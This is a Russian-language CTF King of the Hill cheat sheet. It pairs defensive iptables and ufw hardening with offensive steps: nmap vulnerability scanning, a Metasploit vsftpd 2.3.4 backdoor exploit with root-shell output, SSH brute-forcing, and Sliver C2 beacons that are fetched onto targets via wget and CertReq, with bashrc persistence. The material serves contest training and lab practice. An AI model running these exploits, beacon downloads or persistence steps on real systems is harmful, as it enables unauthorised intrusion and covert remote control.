# Toolchain на YeniseiCTF 2022
###### tags: `CTF` `King of the Hill` `toolchain` `Tanuki Squad` `scan` `dvwa` `exploit`
> Эта тетрадь - cheetsheet для соревнований King of the Hill для YeniseiCTF. С помощью этой тетради можно понять, с чем вообще придется иметь дело на соревнованиях (я сам хз, если честно).
> Develop by Tanuki Squad
# 0. Машины для тренировки
В примере со сканом, используется эта тачка
## :rocket: Установка metasploitable
(только для vmware - за лицензией напишите мне)
https://sourceforge.net/projects/metasploitable/
msfadmin:msfadmin
При настройке виртуальной машины в VMware рекомендую
выставить тип одного из интерфейсов - bridged на какой-нибудь
из ваших физических интерфейсов на машине, например, у меня
прокинут мост до ethernet-интерфейса

## :rocket: Установка dvwa
link: https://youtu.be/WkyDxNJkgQ4
git: https://github.com/digininja/DVWA
kali: https://www.kali.org/get-kali/#kali-virtual-machines
По итогу на kali развернется apache-server с различными web-уязвимостями (XSS, SQLi, ..)
# 1. Первые минуты игры. Защита
[linux - защита](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md)
[windows - защита](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md)
В первые минуты, мы должны:
1) Изменить креды выданного пользователя
* Пароли всех пользователей хранятся в <b>/etc/shadow</b>
* Список всех пользователей - <b>/etc/passwd</b>
<b>Как сменить пароль ?</b>
`$ passwd` Далее через UI меняем пароль
<b>Как сменить пароль другого пользователя ?</b>
`$ sudo passwd <user>`,
пример: `$ sudo passwd root`
#### Все пользователи объединены в группы. Зачастую есть группа sudoers - группа суперпользователей. Поменять можно так:
`$ sudo gpasswd`
Посмотрть список груп: `$ groups`
#### Вы нашли пользователя, который недавно появился в системе и НИКТО ИЗ КОМАНДЫ ЕГО НЕ СОЗДАВАЛ:
`$ sudo passwd -d <username>`
2) <b>закрыть TCP/UDP порты</b> и выставить защиту
Задача, которую должен уметь решать каждый Системный администратор - это закрывать открытые порты, на которых обнаружен подозрительный трафик. Нет открытого порта - нет проблем.
Смотрим все открытые порты
`$ sudo ss -tulwn | grep LISTEN` или ` sudo netstat -ntulp`
Узнаем какой порт соответсвует какой службе (сервису):
`$ less /etc/services`
> Что имеется ввиду под закрытием порта - служба, грубо говоря, это сервер, на сервер поступают запросы от клиентов. Сервер может обрабатывать эти запросы последовательно или паралельно, так как мы играем в игру, в которой нас будут ломать и мы будем ломать, то нам надо <b>в первую очередь защититься и сообщить команде на каких портах были открыты, возможно, не знакомые Вам сервисы и на которое стоит обратить внимание</b>
`ufw` - это фаервол в линуксе, синтаксис ufw <rule> <port>. Примеры:
```
$ sudo ufw deny 8080 // заблокировать порт 8080
$ sudo ufw allow 8080 // разрешить принимать трафик службе, которой работает на порту 8080
```
закрыть враждебный ip, подесть:
```
$ sudo ufw deny from {ip-address-here} to any
$ sudo ufw deny proto {tcp|udp} from {ip-address-here} to any
$ sudo ufw deny proto {tcp|udp} from {subnet} to any port 22
```
<b>Необязательные команды после разрешения или запрета порта N</b>
```
$ sudo service ufw restart // перезапустить фаервол
$ sudo systemctl restart ufw // аналогично
$ systemctl // покажет список служб на портах. Полезно для того, чтобы посмотреть какие службы работают, а какие нет.
```
О нет, `ufw` не установлен, как заблокировать чёртов порт ?
>IPTables — утилита командной строки, является стандартным интерфейсом управления работой межсетевого экрана (брандмауэра) netfilter для ядер Linux, начиная с версии 2.4. Для использования утилиты IPTables требуются привилегии суперпользователя (root).
<b>IPTables cheetsheet</b>
```
$ iptables –n –L –v // посмотреть действующие правила
$ iptables-save > ~/iptables.rules // сохранить действующие правила
$ iptables-restore < ~/iptables.rules // загрузить правила (восстановить)
// БЛОЧИМ ВЕСЬ ТРАФИК (при безысходности, когда надо подумать)
$ iptables -P INPUT DROP // Блок входящего
$ iptables -P OUTPUT DROP // Блок исходящего
$ iptables -P FORWARD DROP // Блок перенаправленного трафика
$ iptables -n -L -v --line-numbers // Просмотор всех правил с нумерацией строк
$ iptables –S // Просмотр всех АКТИВНЫХ правил
$ iptables -L INPUT -n -v // вывести все правила для INPUT-трафика с подробностями (сколько пакетов передано по соединению, src, dst)
$ iptables -L OUTPUT -n -v --line-numbers // вывести все правила для OUTPUT-трафика, с подробностями и со строками
$ iptables -D INPUT 10 // Удалить правило для INPUT-трафика по номеру 10
// удалить правило по спецификации
$ iptables -D INPUT -m conntrack --ctstate INVALID -j DROP
```
* conntrack — инструмент, позволяющий системному администратору наблюдать таблицы состояний соединений и взаимодействовать с ними: очищать таблицы целиком, удалять отдельные записи, маркировать соединения вручную (аналог действия CONNMARK), устанавливать тайм-ауты соединений.
* Состояние INVALID означает, что принадлежность пакета к соединению установить не удалось.
* DROP — заблокировать пакет, не сообщая источнику об отказе. Более предпочтительна при фильтрации трафика на интерфейсах, подключенных к интернету, так как понижает информативность сканирования портов хоста злоумышленниками.
```
// Сброс всех цепочек
$ iptables –F
// принять изменения для цепочки
$ iptables -P <INPUT/OUTPUT/FORWARD> ACCEPT
// Добавить правило в фаервол (инсерт правила): дропаем входящие пакеты от ip-адресата в цепочку INPUT под номером 2
$ iptables -I INPUT 2 -s 192.168.0.101 -j DROP
// Отбросить входящие невалидные пакеты:
$ iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
// ДОБАВИТЬ ПРАВИЛО В ЦЕПОЧКУ (в конец) НА ДРОП ПАКЕТОВ ОТ ip-addr
$ iptables -A INPUT -s 192.168.0.101 -j DROP
// блокировать и отклонить, сообщая об этом ip-адресату
$ iptables -A INPUT -s 192.168.252.10 -j REJECT
// ЗАБЛОКИРОВАТЬ ТРАФИК НА ЗАДАННЫЙ ИНТЕРФЕЙС
$ iptables -A INPUT -i eth0 -s 192.168.252.10 -j DROP
// РАЗРЕШИТЬ ВХОДЯЩИЕ SSH-соединения от заданной подсети (если без подсети, то без -s 192.168.240.0/24)
$ iptables -A INPUT -p tcp -s 192.168.240.0/24 --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
// Логирование и отброс входящих пакетов с подсети 10.0.0.0/8 на интерфейсе eth1
$ iptables -A INPUT -i eth1 -s 10.0.0.0/8 -j LOG --log-prefix "IP_SPOOF "
// Ведение списка последних подключений для сравнения:
$ iptables -A FORWARD -m recent --name portscan --rcheck --seconds 100 -j DROP
// Просмотр логов и получение подстроки начинающейся с "IP_SPOOF A: "
$ tail -f /var/log/messages
$ grep --color 'IP SPOOF' /var/log/messages
// Блокировать ICMP-трафик
$ iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
// ЗАЩИТА ОТ СКАНИРОВАНИЯ ПОРТОВ:
$ iptables -N port-scanning // создание цепочки по защите портов от сканирования
// Если трафик удовлетворяет правилу - завершаем прочтение и дропаем пакет
$ iptables -A port-scanning -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s --limit-burst 2 -j RETURN
$ iptables -A port-scanning -j DROP
// ЗАЩИТА ОТ IP-NULL атаки:
$ iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
// ЗАЩИТА ОТ ФЛУДА С ПОДСЕТЕЙ (поддельные tcp-флаги):
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,SYN FIN,SYN -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,RST FIN,RST -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,ACK FIN -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,URG URG -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,FIN FIN -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,PSH PSH -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL ALL -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL NONE -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL FIN,PSH,URG -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL SYN,FIN,PSH,URG -j DROP
$ iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
$
$_subnets=("224.0.0.0/3" "169.254.0.0/16" "172.16.0.0/12" "192.0.2.0/24" "192.168.0.0/16" "10.0.0.0/8" "0.0.0.0/8" "240.0.0.0/5")
$ for _sub in "${_subnets[@]}" ; do
$ iptables -t mangle -A PREROUTING -s "$_sub" -j DROP; done;
$ iptables -t mangle -A PREROUTING -s 127.0.0.0/8 ! -i lo -j DROP
```
Таким образом порт мы можем заблочить очень просто. Пример, закрываем порт 111, 112, а 22 оставляем открытым
```
// создаем цепочку и добавляем правила, по которым трафик на соотвествующим на портах 22, 111, 112 будет попадать под цепочку SSH (вызываем новую цепочку)
$ sudo iptables -N SSH
$ sudo iptables -A INPUT -p tcp --dport 22 -j SSH
$ sudo iptables -A INPUT -p tcp --dport 111 -j SSH
$ sudo iptables -A INPUT -p tcp --dport 112 -j SSH
// Присваиваем пакету имя SSH, но сам пакет не пускаем
$ sudo iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 111 -m recent --set --name SSH --rsource -j DROP
// При обращении к 112 убираем имя у IP:
$ sudo iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 112 -m recent --remove --name SSH --rsource -j DROP
// При обращениии к 22 порту проверяем имеет ли наш пакет имя SSH - если да, то пропускаем:
$ sudo iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 22 -m recent --rcheck --name SSH --rsource -j ACCEPT
// для того, чтобы последнее правило отработало, нам нужно выставить имя пакета, идущего на 22 порт:
$ sudo iptables -I SSH 3 -p tcp -m state --state NEW -m tcp --dport 22 -m recent --set --name SSH
// НЕ ЗАБЫВАЕМ СОХРАНИТЬ
$ sudo iptables-save
```
[Подробнее](https://codeby.net/threads/shpargalka-iptables-essentials-obschie-pravila-i-komandy.66942/)
# 2. Сканирование
* :rocket: Через nmap
Зачем сканировать ? Это необходимо в первую очередь для выявления уязвимостей сервера, на котором лежит сайт, мы можемнайти порты, посмотреть, что работает на этих портах и даже информацию об сканируемом железе!
`$ sudo nmap -sV -O --allports <target> > ~/info_scan.txt`
```
-sV - даст инфу о версии портов
-O - даст инфу об ОС
-A - информация о системе
--allports - выдает самые популярные порты, так мы заставим его выдать нам всё
```
Результатом вренется инфорация о хосте, о том, сколько портов закрыто, какие порты открыты и какие сервисы крутятся на них, версии этих сервисов прилагаются, мак адрес, ОС, ядро линукса и через сколько узлов находится тачка (например, если будем сканить себя, то это будет 0 узлов).
Скрытое сканирование (использовать, когда нас оффнули - медленнно работает):
`$ sudo nmap -sF -A -sV -f -T Paranoid <target>`
Некоторые флаги:
```
-sS - суть заключается в неполной реализации TCP, Тобешь мы обманываем хост, прерывая процесс соединения до того, как соединение будет установлено
-sF - штука, которая подрубается, если -sS не вывез.
-sI - сверхскрытное сканировани
-f - фрагментация пакета (может ловиться через iptables)
-T Paranoid - устанавливает тайминг, который существенно замедляет работу(между операциями кд 300 секунд), но повышает нашу скрытность.
--data-length - прибавит к пакету несколько указанное кол-во байт
--spoof-mac <adress> - подменяет мак
```
* Скрипты на nmap
Скрипты превращают nmap в сканер уязвимостей, скачаем их и научимся использовать, который расширяет функционал во много-много раз
Установка:
```
$ git clone https://github.com/scipag/vulscan scipag_vulscan
$ sudo ln -s `pwd`/scipag_vulscan /usr/share/nmap/scripts/vulscan
$ ls -la /usr/share/nmap/scripts/vulscan
```
Узнаем, что скрипт делает:
```
$ sudo nmap --script-help <script_name>
```
Пример:
```
$ sudo nmap --script-help vulners.nse
$ sudo nmap --script-help vulscan/vulscan.nse
```
Использование скрипта:
```
sudo nmap -sV --script=vulscan/vulscan.nse <target>
```
Необходимо использовать флаг `-sV`, чтобы скрипт заработал
Поздравляю, вы получили полный список всех уязвимостей от всех сервисов, осталось передать их опытному аттакеру, чтобы он смог проэксплуатировать их.
Например, есть такая строчка:
`[1026846] Apache Wicket Discloses Hidden Application Files to Remote Users`
Гуглим:
`Apache Wicket Discloses Hidden Application Files to Remote Users CVE` - сразу находим `CVE-2012-1089`, [читаем](https://cve.mitre.org/cve/search_cve_list.html), возможно, ищем эксплоит и эксплуатируем, либо говорим опытному и свободному в текущий момент аттакеру
[Подробнее](https://codeby.net/threads/bazovyj-nmap-metody-skanirovanija-i-ispolzovanie-skriptov.75410/)
# 3. Эксплуатация уязвимостей через MSF
Как вообще происходит эксплуатация ?
Сначала выполняется эксплойт - программа, при успешном выполнении которой загружается полезная нагрузка - пейлоад - это непосредственно то, что даст нам удаленный доступ.
Через nmap мы узнали, что на тачке запущены сервисы с миллионом уязвимостей. Попробуем проэксплуатировать `vsftpd версии 2.3.4`

Заходим в Metasploit Framwork и "погуглим" эксплоиты на этот сервис
```
msf6 > grep exploit search vsftpd
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```
Данная уязвимость довольно распространена и известна, используем этот эксплойт, настроим параметры подключения и посмотрим, что получится:
```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.5.128
RHOST => 192.168.5.128
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.5.128 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 21 yes The target port (TCP)
...
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.5.128:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.5.128:21 - USER: 331 Please specify the password.
[+] 192.168.5.128:21 - Backdoor service has been spawned, handling...
[+] 192.168.5.128:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
```
Поздравляю, через использование бэкдора мы зашли от рута на уязвимую машину.
Переходим к следующему сервису - ssh, всем известный сервис. Работает на 22 порту. Будем использовать встроенный сканер уязвимостей msfconsole, чтобы проэксплуатировать выбранную уязвимость:
```
msf6 > grep ssh search scanner
19 auxiliary/scanner/ssh/apache_karaf_command_execution 2016-02-09 normal No Apache Karaf Default Credentials Command Execution
20 auxiliary/scanner/ssh/karaf_login normal No Apache Karaf Login Utility
62 auxiliary/scanner/ssh/cerberus_sftp_enumusers 2014-05-27 normal No Cerberus FTP Server SFTP Username Enumeration
127 auxiliary/scanner/ssh/eaton_xpert_backdoor 2018-07-18 normal No Eaton Xpert Meter SSH Private Key Exposure Scanner
147 auxiliary/scanner/ssh/fortinet_backdoor 2016-01-09 normal No Fortinet SSH Backdoor Scanner
250 auxiliary/scanner/ssh/juniper_backdoor 2015-12-20 normal No Juniper SSH Backdoor Scanner
252 auxiliary/scanner/ssh/detect_kippo normal No Kippo SSH Honeypot Detector
483 auxiliary/scanner/ssh/ssh_login normal No SSH Login Check Scanner
...
msf6 > auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOST 192.168.5.128
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true // включаем вывод всех попыток
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME msfadmin
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.5.128:22 - Starting bruteforce
[*] Error: 192.168.5.128: Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::SSH)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...
pwd
/
whoami
root
```
По-хорошему, нам нужен файл с паролями и логинами, которые можно указать через переменные `PASS_FILE` и `USERPASS_FILE`, однако благодаря брутфорсу зная логин - мы смогли подключиться по ssh к сервису.
Эксплоитить - это конечно хорошо, но нужно ещё и думать над тем, как закрывать уязвимости, чтобы соперники не могли ею воспользоваться - гуглим уязвимость или описание уязвимости в конце добавляем "Solve". Зачастую - решение очень простое - простой апдейт версии сервиса. Отключаем сервис. Обновляем - включаем заново (за место выкла - можно добавить правила в iptables по дропу входящего трафика ото всех, кроме журейки и членов своей команды).
[Metasploit CheetSheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md)
# IPS/IDS Suricata
//здесь будет контент
# Red Team Notes
Это чит щит для защиты своих машин и атаки на другие
https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets
# Повышение привелегий
[linux - повышение привелегий](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md)
[windows - повышение привелегий](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
# Sliver - Command & Control
### Generate beacons sliver
```
generate beacon --mtls <c2-ip> --save /home/kali/ctf/yenisei-2022/beacons/linux/fs-service --os linux
generate beacon --mtls <c2-ip> --save /home/kali/ctf/yenisei-2022/beacons/windows/store.exe --os windows
cd /home/kali/ctf/yenisei-2022/beacons
python -m http.server 9954
```
### Download beacons with wget
#### Linux
```
wget http://192.168.3.108:9954/linux/fs-service -O ~/.cache/fs-service
```
#### Windows
```
CertReq -Post -config http://192.168.3.108:9954/windows/store.exe c:\windows\win.ini store.exe
```
### Links
https://notateamserver.xyz/sliver-101/
https://github.com/BishopFox/sliver/wiki/Community-Guides
# План на соревнование
### 1. Подготовка
1. Меняем пароли
2. Закрываем ssh по паролю
3. Изучаем работу жерейки
4. Генерируем нагрузки под выделенные ip
5. Изучаем локально какие есть уязвимые сервисы
### 2. Сканирование
1. Проводим сканирование всеми доступными средствами
2. Тыкаем руками если сервисы кастомные
### 3. Эксплуатация
1. Эксплойтим уязвимости
2. Закрепляемся с помощью маяков и прописываемся в bashrc
# Повышение привилегий
#### linux
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
#### windows
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS